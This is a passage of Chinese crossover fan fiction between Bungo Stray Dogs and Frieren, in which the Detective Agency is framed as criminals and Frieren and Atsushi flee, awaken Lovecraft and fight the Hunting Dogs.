中岛敦本来还因为自己被提及,升腾起愧疚来着,这会还是忍不住吐槽:这和都市完全没有关系啊,不要对大城市有这种误解滤镜啊!
“唉,这种混乱可不在我的完美计划里。”国木田在一旁抚额,一边在本子上写写画画,一边叹气,“这个月开支又要超出预算了。”
“其实……大家没事就好啦。”谷崎润一郎摸摸鼻子,弱弱道。
“嗯,这么说也没错……等等,太宰呢?”国木田独步环顾一圈,表情忽然凝滞,并且逐渐狰狞,“他又溜了?”
几分钟前还在原地的太宰已经不见人影。
“国木田君,这些人要怎么处理啊?”这时,已经初步清理好现场的宫泽贤治开始整理人了,他拎起五六个大他一大圈的黑衣壮汉道。
“全部从窗户扔下去。”国木田的怒气值在持续飙升,烦躁回复。
“好——”
在一个个黑衣大汉被投下去的背景板里,国木田气势汹汹地跨过门槛,出门捞人了。
望着国木田离去的背影,中岛敦感慨:“感觉太宰先生要倒霉了,这次国木田先生好像格外生气。”
“支持。”泉镜花正好抱着乱步珍贵的小零食路过。
万幸,刚刚的突发情况没
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有伤害到它们。
“呼,如果只是这种程度的袭击的话,感觉我之前的担心有点多余了。”中岛敦边拿着扫帚打扫边说。
“这次只是预告。”芙莉莲站在他旁边,挥动着法杖,残屑灰尘浮空,在魔力的托举下,又跟随着法杖远程的指引转动,掉入扫把畚斗中。
“欸?!”中岛敦刚松下去的那口气又提了起来,“还,还有吗?”
“嗯,后面应该是……”芙莉莲忽然想起太宰治那双冷静的鸢色眼睛,继续道,“会和【书】有关吧。”
“【书】?”
侦探社的其他人一直在听着芙莉莲和中岛敦的对话,这时也都停下了动作。
芙莉莲并不知道【书】对于他们的重要意义,但是见着人人都露出凝重的表情,她也或多或少能察觉出一点来。
“芙莉莲小姐,你确定是【书】吗?”晶子的面容严肃,她蹲下身,目光和芙莉莲对视。
“不确定,大概率吧。”芙莉莲说,“【书】,在你们这里是什么?”
“【书】是一种异能产物,凡是写在祂上面的文字,就能成真,”晶子含糊道,“一直以来都是以传说的形式存在……”
因为不确定现场有没有监听器之类,她没有透露,其实她知道【书】是真实存在的,而且就在管理异能力者的异能特务科里,就有一页【书】的空白残页存放着。
“哦,万能的愿望机。”
……
【不错,你倒是不错,那么,说出你想要的魔法吧,我会嘉奖你。】金发的精灵习惯性高坐在王座之上,仰着头,高傲而神情难测,身边是成山的魔法典籍。
“行走的大魔导书”大魔法使塞丽艾。
喜好野心之人,渴望战斗的她会授予看得顺眼的人以ta所想要的魔法。
魔法的愿望机。
……
所以,这就是某种程度上的塞丽艾啊。
芙莉莲完全理解了。
就在这时,春野绮罗子抱着文件打开门。
“诸位,欸,怎么都在呀?那么,待会都留下来开个会吧。”看着呆愣的众人,这位年轻的社长秘书笑了起来,“啊呀,怎么都是这个表情,你们是已经猜到了么?”
“社长在等着各位了。”
13.书,罪人与逃亡
春野小姐引着诸位落座,与会人员除有异能力的正式社员外,还包括了身为异世界魔法使的芙莉莲。
“诸位。”福泽社长沉声开口,在场众人皆肃容以待。
“我们将被通缉。”
社长的话就如同平日里的一道惊雷,又像是一颗石子投入平静湖面,激起涟漪般,把大家都给震到了,但众人都没有直接将心底的惊疑表露出来,只是安静地等待着社长讲完。
福泽社长将目光投向坐在一旁的乱步。
乱步对上社长的视线,他直起身子,放下一直把玩的弹珠,双手交叉托在下巴下,说道:“太宰现在已经被捕,不多时我们便会有大麻烦了。”
“什么?!”中岛敦的手下意识蜷曲起来,他声音也无意识变大,不过,在话语脱口而出的那一刻,他自己就意识到了这一点,很快压低了下来。
可是内心依旧惊疑不定——
太宰先生被捕了?!
“你们既然已经知道是与【书】有关了,那本名侦探就不多解释了。”乱步并没有因为中岛敦的大喊而停下讲话,反而语速更加快了,他说,“魔法使小姐口中的魔族,阿乌拉现在在和人类合作,具体和谁暂时不清楚,不过,能够确定,他们已经在书上写下了类似‘武装侦探社是罪/犯’之类的言论,所以接下来……”
乱步伸出一根手指,用背面漫不经心地轻叩桌面:“军警中最强的特种部队——【猎犬】,便会找上门。”
“出于安全考量,我和社长讨论的结果是,普通事务员暂时遣散,一部分人守在晚香堂,像谷崎这样有家属的,将他们安置好。”
“但,要解决危机,剩下的另一部分,你们需要在城市里,”乱步睁开眯着的双眼,露出一片幽静的碧色 “不断换位,充当诱饵,配合魔法使小姐解决问题源头,这是很有风险的事,但是却是我们不得不做的。”
晚香堂是武装侦探社的秘密据点,也是最后的保障之一。
“等一下。”中岛敦弱弱举手。
“敦,有什么要补充?直接说吧。”社长注意到他,于是这样说道。
“先前,乱步先生说太宰先生已经被捕,可是,刚刚国木田先生去找太宰先生去了,”中岛敦眼里是急切的担忧,“前辈他不会出事吧?”
“不要紧,”晶子在一旁安慰中岛敦,“国木田君对危机的意识还是很强的。”
“他出去了?”
太宰变更了计划,什么时候?
……对,他昨天是和芙莉莲见面了来着。
乱步沉默了一下,他立刻扭头看向社长:“社长,晚香堂恐怕不能待了。”
社长微微颔首。
“所有人,除晚香堂部分外,按计划进行。”
“是!”他们齐声答道。
时间不等人,武装侦探社的社员们忙碌起来。
芙莉莲走到乱步和社长身边。
“给我的具体安排是什么?”
动员的时候,只在最后一句提及芙莉莲的名字,并没有详细的安排,本来不通知她,转告一声也行,可是他们却叫她过来了。
“跟着敦君吧。”乱步又把玩起弹珠来,因为距离比较近,芙莉莲能够看出这是从波子汽水里取出来的。
“中岛敦?为什么。”
“因为,”乱步仰头,天花板罩灯的光透过他手里的弹珠洒下,金黄色如同中岛敦的眼眸,“敦君是【书签】。”书签会指引着人们得到书。
“看不出来,”芙莉莲闻言,又上下打量了一番中岛敦,“……【书】居然是以人身为锚点。”
谷崎刚护送自己的妹妹离开,晶子刚把普通事务员们遣散,门外便响起敲门声。
从容不迫。
“来了。”乱步笑眯眯地说,他感受到口袋里凭空多出的沉甸甸份量。
名侦探大人掏了出来,是一把沾染了血迹的匕首,锋利异常。
而巧合的是,他在和社长回来的路上,刚好遇上一起持/刀凶杀案,嫌疑犯已经乱步侦探的推理下被顺利捕获。
手机适时弹出资讯——【xx杀/人/案真凶另有其人】
封面是乱步回首持刀的照片。
名侦探品味着,那随着资讯,大脑里忽然多出来的一段记忆——锐利的短刀刺入肉/体,喷溅而出的血液尚还温热。
足以改变现实的道具,真是神奇啊。
中岛敦捧着芙莉莲跳出窗外。
开始逃亡。<
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p>砰——敲门声还没结束,会议室的大门便被暴力的一刀割裂开来,碎片落地。
满天尘灰里浮现出一对搭档的身影。
是来自【猎犬】的条野采菊和末广铁肠。
一个擅长审问,虽然失去视力,却能以五感读心,一个擅长战斗,是部队里的最强战力。
末广铁肠将刀刃入鞘,显然,那干脆的一刀来自于他。
而一旁的条野采菊还维持着尴尬的敲门姿势,还没敲完门,门就被破开,所以他只得慢慢放下抬着的手。
条野采菊双手抱臂,心里满是不爽——
这个脑子里长满肌肉的家伙。
但毕竟任务要紧,条野采菊还是努力让自己平静下来,他一张口便是恶意满满:“听心跳声,这里是只有两个人么?”
“杀伐的气息,面前的是银狼阁下吧,【天人五衰】的首领,如果不赶紧伏诛的话,在你们侦探社工作过的无辜人员都会遭难哦……啊,如果用火烤他们的话,尖叫与烧焦的尸体,剩下的罪/犯都会现身吧?”
福泽社长皱起眉。
一边的末广铁肠直接拿剑戳了他的屁股。
“喂!你在干什么啊,铁肠先生!”条野采菊忍不住了,扭头大喊。
“我在代替队长惩罚你,”末广铁肠面无表情,“银狼阁下毕竟曾经和队长共事过,即使是逮捕,也应当堂堂正正。”
“当然,不只是对银狼阁下,对任何对手,都不能恶意言语戏弄,这是你的坏习惯之一,我将一一纠正。”
接着,末广铁肠将视线对准福泽社长,刀剑再次出鞘,嗡鸣阵阵,银光湛湛。
“银狼阁下,请赐教。”
福泽谕吉摆出武士对决前的姿态。
“来吧。”
……
“【天人五衰】犯罪组织的真面目居然是武装侦探社?”
“是那个帮助处理案件,维护治安的武装侦探社吗?”
“真是看不出来啊,披着善人皮的恶棍们。”
街道上,小巷里,住宅内,各处的人们议论纷纷。
各家出版社的报纸如雪花般纷飞着,它们上面的头版标题都指向同一点——
武装侦探社是罪人。
14.不可名状
【呼哧——呼哧,呼哧——】
中岛敦化作虎型,从武装侦探社里翻窗逃出,载着布偶模样的芙莉莲奔跑逃窜了开。
吊睛大白虎载着白发的精灵,皮毛成为很好的掩饰。
至少在樱花军方掌控的高空监测屏幕上是这样——只能看到白虎的快速移动。
虎的周身都泛着一层亮眼的荧蓝,凭借着常理所不能解释的轻盈,跳跃在高楼之间,奔跑在直上直下的墙壁之上。
常规的子弹被弹回,伤害巨大的武器,都被一一灵活躲过,即使偶有击中,轰碎肉身,掉落下些许血块,虎的伤患处也会以肉眼可见的速度,快速地愈合。
“这简直是——”
【怪物】
数架直升机上的追击人员都陷入了沉默。
而白虎这边……
“中岛敦,”芙莉莲冷静地挥动法杖,同时感受着四周的情况,忽然,她发现了一处不一样的地方,是格外突出的潜伏力量,“往郊外去,海边。”
她施展着魔法,在防御伤害的同时,根据中岛敦异能强度,模拟伪造出符合异能受伤情况的影像状态,以防被其他有心之人察觉到芙莉莲她其实是在中岛敦身边。
虎形态的中岛敦听到了芙莉莲的话,低吼了一声,这便算是应答,然后奋力加快了速度。
砰,砰砰——无数把机/枪在他们身后扫射。
嗡嗡嗡,无数片扇叶在他们身后旋转,聚集的直升机越来越多。
“该死的。”作战人员十分恼怒憋屈,他有种自己被溜了的感觉,但偏偏,明知道人虎想要去郊外,却不得不跟随。
“他到底想干什么?!”烦躁声脱口而出。
“再忍忍吧,”一旁的搭档冷静回复,她眯起眼睛,推了推眼镜架,“即使是化作异能力,他也毕竟是肉体凡胎,总会有累的时候。”
“还有,你不要激动,上面的命令是最好抓活的。”
咚。作战人员一拳砸在操作板上,很用力,整个操作板都震颤了好几下。
“如果损坏的话,是要记你账上的。”搭档瞥了他一眼,勉勉强强安慰,“不要着急,【猎犬】已经在赶来的路上了。”
……
在一片围追堵截中,白虎来到芙莉莲指定的地点,停下了脚步。
因为长时间的体力消耗,白虎喘着粗气。
“快,好机会。”追捕的人员并不知道他来海边是要干什么,但是这不妨碍他们采取包围战术。
海面上轮船一艘一艘地出现,上面站满了穿着海/军制服的樱花官方。
海陆空都已到位,他们在一步一步地缩小包围圈。
近了,又近了。
一种胜券在握的感觉弥漫在他们身边,干扰了他们的敏锐,因此,他们也没有发现——
芙莉莲借着白虎肉身的遮挡,跳入到海中。
好重……
布偶的身躯一沾上水,便变得如有千斤般沉重,湿答答的,连手臂都很难抬起。
芙莉莲用力蹬着双腿,往海的深处游去。
很快,她便处在深海之中,然后,芙莉莲停留了下来。
她手里拿着法杖,在海水的簇拥下闭上了眼睛,身上散发出些微的白光,白色的发丝被水带着,掀起,漂浮,轻晃。
包裹着芙莉莲的海水在起伏着震颤着。
是时候了。
忽然,她睁开眼,法杖直指向深海的底部,深海的尽头,法杖的尖端凝聚起魔法。
轰——
庞大的魔法光柱直接冲击过去,映得芙莉莲的面庞都白得耀眼,她发丝乱舞,却纹丝不动,耐心等待着变化。
毫无征兆地,如海底的火山喷发,巨大的漩涡被猛地搅弄起。
终于,海底有了动静。
漆黑的不明之物蠕动着,恐惧的暗影如同群聚的蝙蝠,扑扇着灰暗干瘪的翅翼,在人眼皮底下晃荡,一晃又一晃,带着深渊的色泽。
祂在懊恼着,在愤怒着,在寻找着是哪个小虫子干扰了祂的睡眠。
芙莉莲见计划达成,头也不回,好不留恋地快速游回,回到中岛敦身边。
中岛敦还在与一群人对峙着。
虽然依旧处于白虎的状态,勉强有着兽性力量的保证,但他心灵深处的理智与人性的部分还是颤动着。
武装侦探社常处理军/警相关的麻烦事,面前围剿他的人里,不少面庞都来自那些曾经共事过的熟悉之人,看着他们眼底的厌恶和不可置信,中岛敦莫名有点难过,也不想与他们走到动手的地步。
“中岛敦,快,快往海里来。”就在这时,白虎感觉到腿部有轻微的牵拉,原来是芙莉莲回来了。
他立刻
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执行了她的话,逃也似的用力奔跑起来。
后面的追击人员也跟着跑了起来。
咚。
平静无波的海面泛起阵阵涟漪,滔天的巨浪在众人的注视下掀起。
庞大的不可名状之物投落下巨大的暗影,将地面的人覆盖,衬托得他们微小得如同蚂蚁。
祂又一次出现在横滨,出现在世人面前。
——曾经【组合】的【霍华德·菲利普·洛夫克拉夫特】!
在完成和【组合】首领的约定后,他自发投身入海,陷入水底休眠,可此刻却复出了,还是以这种破坏力极强的怪物姿态,怀抱着满腔怒火复出。
是谁干的?是谁激怒了祂?
众人惊怒交加,议论纷纷。
霍华德最受不了的就是聚众的人们和他们的注视,在一群人的关注下他很难不动手,所以,不可名状形态的他自然而然地出手了。
轰动——
地面被砸出深邃的坑洞。
这一回,也许是因为在海里静养了许久,他更强了。
“芙莉莲小姐,这,这就是你的计划么?”
白虎不知何时重新变回人型,中岛敦神色复杂,一边用手捂住肩膀上的芙莉莲,一边小声问她。
此刻已经没有人关注人虎了,毕竟,面前有了更大的,更严重的威胁——【组合】当年在横滨搅弄风雨的情况,他们还是见过的。
“啊。”芙莉莲微微睁大了眼睛,她望着海面上的不可名状之物,“我只是监测到海底有生物的痕迹,没想到会出来这么大一只。”
“那,横滨的人民……还有他们,该怎么办呢?”中岛敦也担忧地望向那边。
“你想救他们?”芙莉莲抬起头。
中岛敦垂下眼,不去和芙莉莲对视,他也没说救与不救,只是讲着:“这并不是出自他们的本意吧。”
是【书】改写了现实,将武装侦探社打成莫须有的罪人。
作为樱花军/警,抓捕恶贯满盈的罪犯,预防他们伤害群众,这是他们的职责和义务。
所以,这并不是他们的错。
芙莉莲明白了中岛敦的意思,平淡的面庞上露出一抹微笑。
“放心,都不会有事的。”她这样说,语气肯定,翠绿色的眼睛注视着他。
“我向你保证,中岛敦。”
15.不会有事的
……
“这正是我们来找您聊的原因,异世界的来客。”*
那是福泽社长与乱步,代表武装侦探社,与芙莉莲的第一次谈话。
“太宰的异能力【人间失格】,能够通过触碰无效化其他异能,”社长沉声解释,“而【书】是异能力产物,所以也会受到影响。”
“相互矛盾的异能彼此碰撞,互相干涉,便会产生异能的特异点。”
“就像社长说的,”一旁的乱步睁着翠色的眼睛,“在异能特异点影响下,太宰君在触碰到【书】的那一刻,便被灌输了无数个平行时空的命运。”
“无数世界在一瞬间全部涌入脑海,这种情况是很痛苦的,连普通金鱼都能看出来,自然也瞒不住我这样的大侦探。”他笑着,一只手从衣服口袋里掏出眼镜,另一只手骄傲地指着自己。
“但太宰君手上的【书】,并不是他无意中获得的,而是魔法使小姐,你的敌人主动为之。”乱步戴上眼镜,身子向前倾,目光与芙莉莲平视,“魔族,想利用他做什么呢?我相信,肯定不止是搅弄横滨的风雨。”
“当然啦,”他嘴一撇,手一摊,“其实——横滨怎么样我都是无所谓啦……”
社长不赞同的目光投了过来。
乱步耸耸肩:“好吧好吧我会管的,主要是威胁了侦探社,所以才勉勉强强管一下吧。”
侦探并没有明显的善恶意识,但社长却立于光明之下,被捡回家的黑猫当然是要跟随铲屎官的想法。
“与【书】匹敌的,只能是石板这些了,如果魔法使小姐你想要消灭魔族,就要去得到祂。”
“石板?”芙莉莲迷茫地眨眨眼。
“德累斯顿石板,被第二王权者和他手底下非时院的兔子保管……但是,这个不重要!”乱步可不怎么爱做解说的活,“重要的是——魔法使小姐是怎么来到这个世界的呢?”
芙莉莲沉默了,她回想起勇者的模样和他消失前最后一句话——
【现在可不是叙旧时间,芙莉莲,你该离开了】*
当时辛美尔是否清楚这件事呢?
“我知道了,”乱步观察着她的反应,面上的笑容扩大,语气笃定,“看来,你能够联系上石板的。”
“不需要去找,祂就会来找你。”
谈话在半小时后终于结束了,在结束时,芙莉莲脑海里还在思考着。
石板……为什么说祂会来找我?难道是祂让她见到的辛美尔,是祂引导她来到这里么?祂又要怎么样来找她呢?
这样想着,芙莉莲准备离开了。
一旁的乱步见状,主动让布偶版芙莉莲坐在他肩膀上,满脸写着兴致勃勃。
芙莉莲欣然同意。
布偶走路可比人走路麻烦多了,不一会就会被地上的灰尘沾上,变得灰扑扑,而且因为短腿,走起路来也又慢又累。现在有人愿意当代步,她当然乐意至极。
“芙莉莲小姐。”就在乱步开开心心打算开门时,走在他们后头的福泽谕吉忽然叫住了她。
芙莉莲一顿,她回过头,眼神询问武装侦探社的社长还有什么需要交待。
“在忙碌之前,要先出去看看吗?横滨,也还是一座很不错的城市。”
高大的男人站在原地,明明面容严肃,声线里也颇具压迫感,但说出来的话却与他外表给人的印象完全不一样。
“好啊。”
芙莉莲轻松地应下。
……
【当天的深夜】
坠落,白发绿眸的精灵此刻恢复了人身,但她并没有察觉,她只感受到,自己被海水裹挟着,拉扯着往下坠落,氧气在减少,越来越窒息。
艳红的耳饰在此刻闪了闪。
迷迷糊糊间,一双温暖的手牵起芙莉莲的手。
熟悉的温暖。
芙莉莲似有所感,她想要睁开眼,但视线依旧模糊,只能看到一抹艳丽的橙红。
师父……是你吗?
【快醒来,芙莉莲。】
那声音如沉闷的钟,振响幻象,无尽的海水在这一瞬间退去,清新的空气扑面而来,芙莉莲的头脑变得清明,视野也终于开阔起来。
她伸出手,注视着先前被握住的那只手,上面似乎还有余温。
【芙莉莲。】
似男似女的声音再次响起,把她的思绪拉回。
“谁?”
【以人类的称呼来看,吾乃德累斯顿石板,现在在你的梦境当中。】
她的梦境?
芙莉莲心念一动,手上立刻浮现出她的法杖。
看来她还掌握着自己梦境的主动权。
【吾没有恶意,】石板看出来她的想法,平静道,【你大可以放心。】
【吾的同伴‘书’,被你世界用心险恶者哄骗蒙蔽,如今已成作恶工具,将你世界魔族的灵魂,于身体消亡之前提前抽出,带入到吾等的世界。】祂缓缓道,【而魔族谨慎,怕‘书’反悔,在哄骗控制后,借用太宰治异能进行二次压制,吾无法唤醒祂
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】
【然魔族食人,吾心系人类,自不忍见其受苦,故冒昧向你世界的意识借来你,以处理你世界带来的麻烦。】
“原来如此。”芙莉莲点点头,“但是,按照阿乌拉所说,【书】赋予了她额外的力量,我不一定打得过她。”
【吾虽不能出面,但能够增幅你的力量……正好,新一任无色之王已受魔族蛊惑,被摧毁了神智,吾可将其权柄转让给你。】
“那么,就这么说定了。”
芙莉莲点点头,而后,似是不经意问了一句:“我的同伴们呢?还有在来时遇见的灵魂,还有刚才的身影……”
石板虽不解人心,但胜在上道,祂自然地解答——
【你的同伴们,是因为你世界的意识过于粗心大意,不小心一起传送了过来,至于勇者的灵魂……他也是你世界的意识拉来的,一来,是祂想给予你再次见面的机会,二来,是祂希望能够通过勇者让你帮忙。】
【还有刚才,那确实是你的师父——人类魔法使芙拉梅,不过,这只是寄存在你耳坠里的一道思念罢了。】
【想要见吾的真身,是会有风险的,吾本想待会解决,但你师父却抢先了一步。】
【她很在乎你,即使身已死去。】
【这很奇怪,是吾不理解的情况。】祂平淡地总结。
“这样啊,”芙莉莲微笑着,“那么多谢你的解答,石板。”
……
所以……
芙莉莲平静地注视着海面,海水在沸腾。
轰——
深海的怪物发动了攻击,掀起海啸,即将吞没横滨。
人们恐惧地看着那不可名状之物。
离怪物近的人员都下意识拿双手抵挡,可赤手空拳怎么能抵抗这般的力量呢?直到——
“铮”的一声长鸣。
无色的达摩克利斯之剑悄然出现在芙莉莲头上,庞大到足以遮天蔽日。
尖锐的剑尖对准王的脑袋,仿佛随时会坠落,她法杖间的魔力被千倍万倍放大。
王权者,拥有强大力量,亦承载厚重责任。
芙莉莲高举法杖,木制的法杖中心,红宝石闪耀,上面聚起明亮的光,大规模的防御魔法浮现,在海啸触及的一瞬间发动,蜂巢一般笼罩住了整个横滨,也挡在了直面怪物的人前。
持续时间很短,近乎于无,却成功将一切扭转。
横滨活下来了,所有人都活下来了。
“看吧,我说过不会有事的。”
16.芙莉莲
望着面前的一幕,中岛敦惊讶得不知要说什么,虽然他的直觉曾给出过警告,但这还是他第一次见到精灵魔法使使出全力的模样。
“快,快动起来,”芙莉莲拽了拽中岛敦的衣角,跳到他衣服口袋里,“该走了。”
中岛敦这才如同大梦初醒般回过神,他小心翼翼地往后挪动。
一下,两下,好机会。
趁着旁人不注意,两人一抹烟溜了。
“接下来我们应该去哪里,芙莉莲小姐?”
“这里引来的大动静会吸引掉很多目光和火力,让其他势力无暇顾及我们,从而暴露出针对我们的幕后之人……”芙莉莲解释,“所以,现在就去上次你说的港口Mafia首领所在之处吧。”
“你知道在哪里的,对么?”
“是,了解了。”
中岛敦望着远处的黑色五角大楼,那是横滨的地标性质建筑,也是港口Mafia的本部,正嚣张而肆无忌惮地矗立着。
在阴云的笼罩之下,那几栋建筑显得阴森恐怖,虽然中岛敦偶尔会和那边的人,尤其是芥川龙之介有点不对付,可却从没想过要直接深入他们的大本营。
但是——
如果不处理掉的话会很难办吧,即使再害怕,也要试一试才行啊。中岛敦无意识握紧了拳头。
【月下兽】发动。
他再次化作白虎,无畏地奔向前方。
……
离大门还有一步之遥,虎一跃而上。
但是就在这时,暗处一双白皙的手平摊开来,又猛地合拢。
下一刻,四面八方瞬间生长出无数细线,将老虎束缚在地上。
中岛敦:!
他惊了一瞬,努力挣扎起来。可是越是挣扎束缚得越紧,直把他桎梏得动弹不得。
细丝还在慢慢收紧,硬是将中岛敦给逼回了人身。
他被绑得头也抬不得。
嗒,嗒嗒,来人穿着靴子,不紧不慢地向他们走来。
“看来我是第一个发现的。”平淡的声音从中岛敦上方传来。
中岛敦借着余光,艰难往上看,对上一个头上长角的青年,他一边的眼睛被头发遮挡着,有些阴沉。
这个青年面无表情地垂着眼,无感情的神态让中岛敦有点悚然,直觉告诉他,面前的“人”或许和控制了森欧外的阿乌拉一样属于魔族。
熟悉的冷漠,就像是兽披上了人皮的外衣。
“是你啊,好久不见,魔法使芙莉莲。”德拉特死死盯着中岛敦口袋里的芙莉莲,没有把一丝一毫额外的目光分给一旁的中岛敦,就仿佛他是个不存在的透明人。
闻言,芙莉莲慢吞吞抬头。
“你是?”
德拉特身子一顿,明明他已经在她手里死过一次,可是芙莉莲依旧不记得他的名字。
他勉强压抑下怒火,一根手指向上一弹,丝线将中岛敦半个身子往上拽起,让芙莉莲和中岛敦都能看清德拉特的脸。
他冷声道:“看来需要我再自我介绍一番。”
“我是断头台阿乌拉的部下,刽子手之一,德拉特。”*
“这一次,会由我来杀了你们。”
“啊,那个用魔力丝线的……稍微想起来。”芙莉莲恍然大悟,“那是个稍微有点意思的魔法。”
“上次不过是轻敌……我的魔力得到了强化,不会再输了。”德拉特听见她只记住了自己的魔法,声音愈发冰冷,他两只手合拢,动了动手关节,发出卡卡的响。
丝线近一步缩紧,绞在中岛敦和芙莉莲的脖子上,中岛敦感觉自己已经无法呼吸了,不过芙莉莲这边却还是很平静。
“德……唔,德拉科是吧,”芙莉莲注视着德拉特的动作,目光淡然,如同在看跳梁小丑,“我记得我当时说过的吧——”
“我很强的,比阿乌拉还强。”
“你——”德拉特听见自己名字被如此轻慢对待,张口想要答话,身体也下意识警惕起来。
下一秒,砰——
德拉特被一脚踹开,连带着拉扯的丝线也产生了偏移,中岛敦感受到一股强大的拉力,差点把他拉得脱离地面了。
而德拉特原本站立的地方出现了一个足有一人深的大坑。
德拉特踉跄地站起来,刚想找出来是谁在踹他,但是一看到那个坑洞,也就明白这是怎么回事了——来者救了他一命。
他刷得抬头,看向芙莉莲,眼里充满震惊之色。
她究竟是什么时候动手的,居然这么快?
“啧,真是废物,看来还是要我来。”一个娇小的身影出现在他们面前。
扎着红色斜单马尾的幼女朝他们走来,杀气逸散,宝石发圈闪着微弱的光。显然,就是她刚刚踹飞了德拉特,及时救了他一命。
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>“呀,我来是为了干什么的呢?”
她歪歪头,咧开狂热的笑,自问自答般:“啊,我想起来了——”
“是来处决你们这些该死的罪犯的。”
她是【猎犬】的副队长,被誉为“血荆棘女王”的大仓烨子。
“真是一点都不老实呀人虎,为横滨引来这么大的灾祸,还想着声东击西不成?”大仓烨子眯起眼睛,“看起来还有帮手,是谁的异能力么?不过……”
“既然不是一个人,那你们说,是想被我像盆栽一样修剪肢体呢,还是老老实实伏罪呢?”
她笑着,声音甜美而张扬。
咕咚。中岛敦咽了口唾沫,此刻身体直觉的警戒拉到了最高,肾上腺激素浓度上升,身体在颤抖。
危险。
大仓烨子猛得上前,快到中岛敦都没有反应过来,接着伸手,扼住了他与芙莉莲的咽喉。
“我的异能力是【灵魂的喘息】,能够操纵年龄,”她卡着中岛敦的喉咙,同时头也不回命令德拉特,“把你的丝线撤掉,怪物。”
嘁。
德拉特心里不爽,但魔族是慕强的,强者为尊,大仓烨子这个合作方他打不过,于是老老实实撤回了魔力。
“看在银狼和队长曾经是战友的份上,我会给予你半小时交待罪行的时间,”大仓烨子当然不会在乎一旁“合作”的怪物的想法,她的目光落在中岛敦身上,拉长了声线,“不然,代价你应当清楚。”
“我们……我们没有做过……”中岛敦断断续续道,试图解释。
“还是不老实。”大仓烨子身上涌动起异能的波动。
恰时,芙莉莲挥动法杖,挣脱束缚,挡在中岛敦面前。
时间上的苍老,拉扯着布偶的身躯,棉布质地的布偶开始破败,泛黄,撕裂,填充的棉花从破洞里挤着流了出来。
“芙莉莲小姐——”中岛敦大喊道,他冲了过来。
啪嗒。
但,还是来迟了一步。
中岛敦的指尖就快要触碰到她的时候,芙莉莲手失去力道,垂了下来,指尖的戒指落地,发出清脆的一声,金属雕刻的镜莲华与她残破的身体一起跌落在污泥里。
中岛敦没能接住她,他金色的瞳孔颤抖着,指尖泛白。
四周一片寂静……
直到,空气里仿佛有一声叹息出现。
“芙莉莲。”
17.思念
“芙莉莲。”
在苍茫的暮色里,白鸽扑打着翅膀盘旋又飞远。
蓝发的勇者单膝跪地,与湛蓝晴空同色的眼眸里暗藏波澜,涌动着那时芙莉莲还看不懂的情绪。
他温柔地将银制的戒指往前推,套在她的指尖,镜莲华的纹样在夕阳下闪着光,广场上的晚钟也在此刻恰好响起。
咚——
“芙莉莲。”
随后,场景又是一转,她又一次看到勇者辛美尔朝自己伸出的手,在勇者小队旅程的开端。
啊,原来死亡真的会闪回啊。在她认为的生命最后一刻,芙莉莲依旧抓不住重点。
“你的旅程不会,也不能就此止步。”那疑似幻觉的辛美尔站在破败的布偶面前,瞳孔里倒映出来的却是正常的她。
勇者温和地笑着继续道:“所以,继续往前走吧,芙莉莲。”带着我们大家的记忆一起。
话音刚落,辛美尔便化作无数朵苍月草,融入到她的体内。
蓝色的光芒大盛,将芙莉莲整个儿掩盖。温暖的感觉包裹着她,修复着她。
“这是,什么情况?”因为离得近,光芒太过强烈,大仓烨子下意识松手,用双手捂住眼睛。
巴掌大的人偶开始上下拉伸,膨胀变大,终于,一只棕色的毛绒靴子从耀眼的蓝光里踏了出来。
芙莉莲变回了人型。
她睁开眼,眼底是一片湖泊静谧的蓝绿。
然后,俯下身,芙莉莲拾起地上的戒指,将它小心翼翼放在手心,轻轻拭去上头的污泥灰尘。
这不是他的灵魂,难道,是和师父一样的,思念么……辛美尔的思念也被寄存下来了啊。
芙莉莲低垂着眸,似有所觉。
“哈,”大仓烨子后退一步,上下打量着变回原本精灵模样的芙莉莲,她到现在还以为布偶的形态是芙莉莲的异能力,“替身型的异能?有点意思。”
听到她在讲话,芙莉莲把视线从戒指上移开,勉强给了大仓烨子一个眼神。
大仓烨子当然能看出来芙莉莲的心不在焉。
明明之前都威胁到芙莉莲现出(她认为的)真身了,结果还是这副模样。
把心思放在别的地方……难道是看不起她?别开玩笑了。
无名的怒火在大仓烨子胸腔里燃烧。
异能的光晕再次覆上,她再次向芙莉莲发动【灵魂的喘息】,上次大仓烨子这么做只是想用在中岛敦身上,却意外被芙莉莲承受,而这一次却是主动的。
芙莉莲没有躲开,或者说她根本就没想动。
大仓烨子调整了时间,八十岁的寿命流逝。
但出乎她的意料,芙莉莲的面容上,没有哪怕一丁点岁月的皱纹,没有一丝一毫的改变。
奇怪——这还是大仓烨子异能力的第一次失利,她心头重重一跳。
不过,血荆棘女王并不是那种轻易放弃之人,她又进行了一次尝试。
衰老不行,那就试试减龄吧。
这次,她试着让芙莉莲缩小百岁。
可芙莉莲的脸和身形依旧没有任何变化。
“怎么可能。”大仓烨子喃喃道。
“她可是精灵。”一旁的德拉特终于看不下去了,他双手抱臂,嘲讽般道,“她的寿命,可是与我们等同,不,可能比我们魔族还要悠长。”
原来如此。
大仓烨子瞥了一眼德拉特,原来,又是一个怪物。
芙莉莲平静地与大仓烨子对视,苍翠与殷红交汇。
“这可是活了千年以上的大精灵魔法使。”
啪嗒,啪嗒,万千透明的丝线细细密密地从空中坠落,渐渐声势浩大起来。
下雨了。
“中岛敦。”芙莉莲往后一退。
她话音还未落,一只虎爪从一旁斜斜刺了过来,带着凌厉的气势。
虎的斑纹在中岛敦脸上若隐若现,半虎化的他进攻起来大开大合,站立的地面,都因为重压泛起蜘蛛般细密的破纹,显然,中岛敦也在因为之前大仓烨子的行为而愤怒着。
大仓烨子甚至连转头都欠费,在身经百战的猎犬看来,他的攻击还是有点稚嫩了,于是只是一抬手,便轻易拦下,再速度极快的一反腕,便将整个手臂桎梏住,让对方回不得,离不去。
不过很快,侧面一道光束打向她抓着中岛敦的手腕,大
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仓烨子下意识收回手,中岛敦也趁机抽身,他警惕地观察着,随时准备下一次突袭。
是芙莉莲。变回精灵的她,操纵起魔法来更加熟练了,每一次都是瞬发。
她与中岛敦二人配合默契,一人进攻一人辅助,打得大仓烨子连连败退。
最让大仓烨子感到憋屈的是——除了这之外,芙莉莲从始至终没有主动攻击,而是一直在辅助着在她看来攻击还显得很笨拙,漏洞百出的中岛敦。
就像是把她当成了磨刀石,给小辈练习的工具。
一旁漠然旁观的德拉特见状直觉不妙。
虽然对大仓烨子挺不爽的,但他可不想破坏阿乌拉大人的计划,于是几乎没有多想,德拉特就立刻加入到了战局当中。
纤细的丝线从他手心涌出,尾须轻轻摇晃,蓄势以待,终于,在中岛敦闪避落地,背朝他的那一刻,他刺了过去。
嗡——
